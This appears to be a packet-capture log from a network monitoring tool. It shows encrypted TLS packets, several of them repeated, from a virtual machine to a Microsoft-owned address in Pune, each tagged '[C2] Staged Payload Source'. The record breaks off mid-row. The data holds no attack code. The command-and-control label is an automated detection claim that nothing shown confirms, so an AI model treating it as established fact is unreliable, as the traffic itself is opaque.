Ack=1692602478,525400577f945254007bb79208004500008bb6fe40008006e958c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....X..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46846, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59736, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 14:26:17.900813,3,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb6ff40008006e957c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....W..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46847, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59735, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 14:26:19.103914,4,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb700000080062957c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.........)W..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46848, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10583, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 14:26:19.459364,5,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb79208004500011fb70140008006e8c1c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b27000017030300f20000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf754bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68690c06906a97126bc83f8d555f4333039f930cf88900a96557174d5bf5170d1e5094dcb69f3271307f216845c342d9c94c10f298f4514b20f76c4d1f45fa35ec52c8b61099131d7768f323efdbe05617a0316fc64c4b9c4c37e9c4e2c14d5cf5b77df06526bf2f199a229db5056828e47304d86e3ad2f94009d0af9c838a352b33ba63665e5c1c726bf6a44aee86f25a10992cfb4c27e402fb53198e5a78b4c4419d136559ba352439885fe482d,\"RT.W..RT.{....E.....@.......z.............Q...P...['..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....i..q&....U.309.0...\n.Uqt..Qp..\tM.i.'.....\\4-....).E...v..._.^.,.a\t.1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%.\t....~@/.1....LD..6U..RC...H-\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 287, \"\"id\"\": 46849, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59585, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23335, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 242, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf7T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x90\\\\xc0i\\\\x06\\\\xa9q&\\\\xbc\\\\x83\\\\xf8\\\\xd5U\\\\xf4309\\\\xf90\\\\xcf\\\\x88\\\\x90\\\\n\\\\x96Uqt\\\\xd5\\\\xbfQp\\\\xd1\\\\xe5\\\\tM\\\\xcbi\\\\xf3'\\\\x13\\\\x07\\\\xf2\\\\x16\\\\x84\\\\\\\\4-\\\\x9c\\\\x94\\\\xc1\\\\x0f)\\\\x8fE\\\\x14\\\\xb2\\\\x0fv\\\\xc4\\\\xd1\\\\xf4_\\\\xa3^\\\\xc5,\\\\x8ba\\\\t\\\\x911\\\\xd7v\\\\x8f2>\\\\xfd\\\\xbe\\\\x05az\\\\x03\\\\x16\\\\xfcd\\\\xc4\\\\xb9\\\\xc4\\\\xc3~\\\\x9cN,\\\\x14\\\\xd5\\\\xcf[w\\\\xdf\\\\x06Rk\\\\xf2\\\\xf1\\\\x99\\\\xa2)\\\\xdbPV\\\\x82\\\\x8eG0M\\\\x86\\\\xe3\\\\xad/\\\\x94\\\\x00\\\\x9d\\\\n\\\\xf9\\\\xc88\\\\xa3R\\\\xb3;\\\\xa66e\\\\xe5\\\\xc1\\\\xc7&\\\\xbfjD\\\\xae\\\\xe8o%\\\\xa1\\\\t\\\\x92\\\\xcf\\\\xb4\\\\xc2~@/\\\\xb51\\\\x98\\\\xe5\\\\xa7\\\\x8bLD\\\\x19\\\\xd16U\\\\x9b\\\\xa3RC\\\\x98\\\\x85\\\\xfeH-\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 14:26:19.760137,6,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb79208004500011fb70240008006e8c0c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b27000017030300f20000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf754bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68690c06906a97126bc83f8d555f4333039f930cf88900a96557174d5bf5170d1e5094dcb69f3271307f216845c342d9c94c10f298f4514b20f76c4d1f45fa35ec52c8b61099131d7768f323efdbe05617a0316fc64c4b9c4c37e9c4e2c14d5cf5b77df06526bf2f199a229db5056828e47304d86e3ad2f94009d0af9c838a352b33ba63665e5c1c726bf6a44aee86f25a10992cfb4c27e402fb53198e5a78b4c4419d136559ba352439885fe482d,\"RT.W..RT.{....E.....@.......z.............Q...P...['..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....i..q&....U.309.0...\n.Uqt..Qp..\tM.i.'.....\\4-....).E...v..._.^.,.a\t.1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%.\t....~@/.1....LD..6U..RC...H-\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 287, \"\"id\"\": 46850, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59584, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23335, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 242, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf7T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x90\\\\xc0i\\\\x06\\\\xa9q&\\\\xbc\\\\x83\\\\xf8\\\\xd5U\\\\xf4309\\\\xf90\\\\xcf\\\\x88\\\\x90\\\\n\\\\x96Uqt\\\\xd5\\\\xbfQp\\\\xd1\\\\xe5\\\\tM\\\\xcbi\\\\xf3'\\\\x13\\\\x07\\\\xf2\\\\x16\\\\x84\\\\\\\\4-\\\\x9c\\\\x94\\\\xc1\\\\x0f)\\\\x8fE\\\\x14\\\\xb2\\\\x0fv\\\\xc4\\\\xd1\\\\xf4_\\\\xa3^\\\\xc5,\\\\x8ba\\\\t\\\\x911\\\\xd7v\\\\x8f2>\\\\xfd\\\\xbe\\\\x05az\\\\x03\\\\x16\\\\xfcd\\\\xc4\\\\xb9\\\\xc4\\\\xc3~\\\\x9cN,\\\\x14\\\\xd5\\\\xcf[w\\\\xdf\\\\x06Rk\\\\xf2\\\\xf1\\\\x99\\\\xa2)\\\\xdbPV\\\\x82\\\\x8eG0M\\\\x86\\\\xe3\\\\xad/\\\\x94\\\\x00\\\\x9d\\\\n\\\\xf9\\\\xc88\\\\xa3R\\\\xb3;\\\\xa66e\\\\xe5\\\\xc1\\\\xc7&\\\\xbfjD\\\\xae\\\\xe8o%\\\\xa1\\\\t\\\\x92\\\\xcf\\\\xb4\\\\xc2~@/\\\\xb51\\\\x98\\\\xe5\\\\xa7\\\\x8bLD\\\\x19\\\\xd16U\\\\x9b\\\\xa3RC\\\\x98\\\\x85\\\\xfeH-\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 14:26:20.317697,7,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb703000080062954c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.........)T..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46851, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10580, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 14:26:20.364609,8,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb79208004500011fb70440008006e8bec0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b27000017030300f20000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf754bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68690c06906a97126bc83f8d555f4333039f930cf88900a96557174d5bf5170d1e5094dcb69f3271307f216845c342d9c94c10f298f4514b20f76c4d1f45fa35ec52c8b61099131d7768f323efdbe05617a0316fc64c4b9c4c37e9c4e2c14d5cf5b77df06526bf2f199a229db5056828e47304d86e3ad2f94009d0af9c838a352b33ba63665e5c1c726bf6a44aee86f25a10992cfb4c27e402fb53198e5a78b4c4419d136559ba352439885fe482d,\"RT.W..RT.{....E.....@.......z.............Q...P...['..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....i..q&....U.309.0...\n.Uqt..Qp..\tM.i.'.....\\4-....).E...v..._.^.,.a\t.1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%.\t....~@/.1....LD..6U..RC...H-\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 287, \"\"id\"\": 46852, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59582, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23335, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 242, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf7T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x90\\\\xc0i\\\\x06\\\\xa9q&\\\\xbc\\\\x83\\\\xf8\\\\xd5U\\\\xf4309\\\\xf90\\\\xcf\\\\x88\\\\x90\\\\n\\\\x96Uqt\\\\xd5\\\\xbfQp\\\\xd1\\\\xe5\\\\tM\\\\xcbi\\\\xf3'\\\\x13\\\\x07\\\\xf2\\\\x16\\\\x84\\\\\\\\4-\\\\x9c\\\\x94\\\\xc1\\\\x0f)\\\\x8fE\\\\x14\\\\xb2\\\\x0fv\\\\xc4\\\\xd1\\\\xf4_\\\\xa3^\\\\xc5,\\\\x8ba\\\\t\\\\x911\\\\xd7v\\\\x8f2>\\\\xfd\\\\xbe\\\\x05az\\\\x03\\\\x16\\\\xfcd\\\\xc4\\\\xb9\\\\xc4\\\\xc3~\\\\x9cN,\\\\x14\\\\xd5\\\\xcf[w\\\\xdf\\\\x06Rk\\\\xf2\\\\xf1\\\\x99\\\\xa2)\\\\xdbPV\\\\x82\\\\x8eG0M\\\\x86\\\\xe3\\\\xad/\\\\x94\\\\x00\\\\x9d\\\\n\\\\xf9\\\\xc88\\\\xa3R\\\\xb3;\\\\xa66e\\\\xe5\\\\xc1\\\\xc7&\\\\xbfjD\\\\xae\\\\xe8o%\\\\xa1\\\\t\\\\x92\\\\xcf\\\\xb4\\\\xc2~@/\\\\xb51\\\\x98\\\\xe5\\\\xa7\\\\x8bLD\\\\x19\\\\xd16U\\\\x9b\\\\xa3RC\\\\x98\\\\x85\\\\xfeH-\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 14:26:21.520764,9,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb70540008006e951c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....Q..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46853, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59729, \"\"src\"\": \"\"192.168.122.168\"\", 